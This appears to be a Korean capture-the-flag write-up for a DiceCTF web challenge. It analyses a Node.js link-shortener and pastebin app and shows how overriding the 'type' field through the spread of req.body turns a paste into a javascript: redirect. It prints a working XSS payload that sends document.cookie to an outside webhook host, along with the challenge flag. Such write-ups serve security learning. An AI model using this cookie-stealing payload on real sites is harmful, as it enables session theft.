문제 유형
•
XSS, Node.js 문제
문제 정보 확인
자신의 친구가 만든 툴을 사용해서 쿠키를 얻는 문제이다. 우선 어떤 툴인지 파악해야 할 것 같다.
I can pass it along 기능 설명
I can pass it along은 Admin bot 툴로 이전 여러 문제에서 사용된 툴이다.
URL 부분에 특정 URL을 입력하면, Admin bot이 직접 접속을 시도하는 방식인 것 같다. 이는 같은 Dice CTF 문제인 Baier CSP 에서도 사용된 봇으로, 두 문제가 비슷한 유형인 것을 알 수 있다.
dump tool의 기능 설명
dump tool에 접속하면 아래와 같은 화면을 확인할 수 있다.
•
Link Shortener : 특정 URL을 web-utils.dicec.tf 도메인을 사용하는 URL로 만들어준다.
◦
EX) https://www.naver.com → https://web-utils.dicec.tf/view/GVE8jg9i
•
Pastebin : 특정 데이터 입력 시, 해당 데이터 값을 확인할 수 있는 URL로 만들어준다.
◦
EX) TEST_DATA 입력 시 → https://web-utils.dicec.tf/view/9xjNOrTu
dump tool의 소스코드 분석
문제에서 제공한 app.zip(dump tool)에서 소스코드를 확인할 수 있다. dump tool의 구조는 아래와 같다.
---app
| Dockerfile
| index.js [server file]
| package.json
|
+---modules
| database.js
|
+---public
| | index.html
| | style.css
| | view.html
| |
| +---links [Link Shortener]
| | index.html
| | script.js
| | style.css
| |
| \---pastes [Pastebin]
| index.html
| script.js
| style.css
|
\---routes
api.js
view.js
Plain Text
복사
1. 서버 정보 분석
index.js 분석
/api/ 경로와 /view/ 경로를 사용할 때 routes를 정의해두었다.
또한 /public/index.html 이 메인 페이지이다. 해당 html 파일도 확인하여 Link Shortener 와 Pastebin이 어떤 경로로 접속하여 기능을 사용하는지 확인해봐야 한다.
const fastify = require('fastify')();
const path = require('path');
/* 기본 경로 정의 */
fastify.register(require('fastify-static'), {
root: path.join(__dirname, 'public'),
redirect: true,
prefix: '/'
});
/* /api/~ 경로 route */
/* /routes/api.js 분석 필요 */
fastify.register(require('./routes/api'), {
prefix: '/api/'
});
/* /view/~ 경로 route */
/* /routes/view.js 분석 필요 */
fastify.register(require('./routes/view'), {
prefix: '/view/'
});
const start = async () => {
console.log(`listening on ${await fastify.listen(3000, '0.0.0.0')}`)
}
start()
JavaScript
복사
/public/index.html 분석
Link Shortener 기능 → /public/links/ 분석 먼저 필요
Pastebin 기능 → /public/pastes/ 분석 먼저 필요
<!DOCTYPE html>
<html>
<head>
<title>Web Utils</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="parent">
<div class="content">
<a href="links/">Link Shortener</a>
<a href="pastes/">Pastebin</a>
</div>
</div>
</body>
</html>
HTML
복사
2. Link Shortener 기능 분석
[1] /public/links/index.html 분석
[2] /public/links/script.js 분석
[3] /routes/api.js 분석 ( /api/createLink )
3. Pastebin 기능 분석
[1] /public/pastes/index.html 분석
[2] /public/pastes/script.js 분석
[3] /routes/api.js 분석 ( /api/createPaste )
4. 공통으로 사용되는 DB 모듈 분석
/modules/database.js 분석
5. 보기 기능 분석
위 과정으로 Link Shortener, Pastebin 기능이 어떤 방식으로 링크를 생성하는지 확인할 수 있었다.
보기 기능은 /view/:uid 형태 (Link Shortener or Pastebin로 만들어진 링크)로 접속할 때 기능이다.
/routes/view.js 파일은 단순하게 view.html 파일을 로드시키는 동작만 수행하며, 보기 기능의 핵심이 /public/view.html 에 존재한다는 뜻이 된다.
module.exports = async (fastify) => {
fastify.get(':id', {
handler: (req, rep) => {
rep.sendFile('view.html');
}
})
}
JavaScript
복사
취약점 분석
그렇다면 XSS를 동작시켜야 하며 페이지가 로드되는 /public/view.html 에서 XSS를 위한 핵심적인 내용이 있을 가능성이 높다. 우선 생성한 링크로 접속하였을때 어떤 동작을 하는지 확인해보자.
•
Link Shortener 로 생성한 링크 접속 시
https://www.google.com 를 입력한 후 생성된 링크로 접속해 보았다.
해당 링크로 접속하니 Google 사이트로 리다이렉션 되었다.
•
Pastebin으로 생성한 링크 접속 시
TEST_DATA 를 입력한 후 생성된 링크로 접속해 보았다.
입력한 값이 그대로 출력되는 것을 확인할 수 있다. 필자는 여기서 XSS가 가능할 것 같아 TEST_DATA 대신 XSS 구문을 넣어 시도해보았지만 실패하였다.
흥미로운 부분은 Link Shortener, Pastebin으로 생성한 링크는 둘다 /view/UID 형태이지만, 접속 시 다른 동작을 한다는 것이다. 왜 그런지 view.html 파일을 분석해 보았다.
view.html 파일 분석
파일을 분석해보면, DB에 저장될 때 type 값이 link면 window.location 동작을 하며, 그렇지 않으면
<div> 태그로 데이터를 출력(XSS가 직접적으로 동작하지 않았던 이유)한다.
<!doctype html>
<html>
<head>
<script async>
(async () => {
//uid를 출력
const id = window.location.pathname.split('/')[2];
//uid 가 없을 경우(이상한 링크 일때)
if (! id) window.location = window.origin;
// 접속 후 결과를 얻어옴
// {"statusCode":200,"data":"123","type":"paste"} 형태
const res = await fetch(`${window.origin}/api/data/${id}`);
// data / type 값을 얻어옴
const { data, type } = await res.json();
// data / type 값이 정상적으로 들어있지 않을 경우
if (! data || ! type ) window.location = window.origin;
// type 이 'link'일 경우 -> data에 작성된 주소로 이동
// 이 부분을 이용해서 XSS를 동작시켜야 함.
if (type === 'link') return window.location = data;
// /api/createLink 에서 type이 Link로 변하기 때문에, paste 기능으로 만들어진 링크를 한번 더 link로 변환해야한다.
if (document.readyState !== "complete")
await new Promise((r) => { window.addEventListener('load', r); });
document.title = 'Paste';
document.querySelector('div').textContent = data;
})()
</script>
</head>
<body>
<div style="font-family: monospace"></div>
</bod>
</html>
HTML
복사
그렇다면 우리는 아래 조건이 만족되는 데이터를 DB에 삽입해야 한다.
1.
data 값 → XSS 구문
2.
type 값 → "link"
1번 조건 만족
window.location 값에 document.cookie 를 추가하며 넣어줘야 한다. 그래서 아래 구문을 사용하였다.
window.location = "javascript:location.href='https://webhook.site/b4f4608e-aa5d-4837-a8e5-88dfb037c8eb/?FLAG='+document.cookie"
JavaScript
복사
2번 조건 만족
type 값 → "link" 조건이 만족해야 한다. 즉 보통이라면 Link Shortener에서 URL을 입력하여 값을 만들어야 한다. 하지만 1번 조건에 만족하는 값이 https:// 로 시작하지 않기 때문에, 일반적인 방법으로는 불가능하다. 그럼 어떻게 1,2 번 조건을 동시에 만족시킬 수 있을까?
Link Shortener 기능은 입력값에 필터링이 있지만, Pastebin기능은 필터링이 존재하지 않는다.
1번 조건은 문제 없이 넘어갈 수 있지만, type 값을 "link"로 변경하기 위해서는 /api/createPaste 중 DB에 추가되는 부분을 잘 살펴보아야 한다.
아래와 같이 ...req.body 로 값을 받는 것을 확인할 수 있다.
database.addData({ type: 'paste', ...req.body, uid });
JavaScript
복사
이 문법은 JS의 스프레드 연산자이며 용도는 이와 같다고 한다.
스프레드 연산자를 사용하면 배열, 문자열, 객체 등 반복 가능한 객체 (Iterable Object)를 개별 요소로 분리
간단하게 보면 아래와 같이 연결, 복사 용도로 꽤 유용하게 사용할 수 있다고 한다.
하지만 이 문제에서 중요한 점은, 데이터를 덮어씌우기도 가능하다는 점이다.
아래 예시와 같이, 스프레드 연산자를 이용하여 "a" : 123 으로 정의된 값을 다른 값으로 변경이 가능했다.
DB에서 값을 추가할 때 ...req.body 로 가져오기 때문에 body 에 추가적인 값이 설정되어도 문제가 없으며, 우리가 원하는대로 type 값을 다른 값으로 변경하여 DB에 추가 할 수 있다.
Pastebin 기능에서는 type 값을 "paste"로 설정하여 전달하기 때문에 window.location이 동작하지 않는다.
따라서 type 값을 link로 변경해주면 XSS를 동작시킬 수 있다.
{
"data" : "javascript:location.href='https://webhook.site/b4f4608e-aa5d-4837-a8e5-88dfb037c8eb/?FLAG='+document.cookie",
"type" : "link"
}
JSON
복사
생성된 링크를 Admin Bot에 넣어주면 플래그가 작성된 쿠키 값을 얻을 수 있다.
FLAG
dice{f1r5t_u53ful_j4v45cr1pt_r3d1r3ct}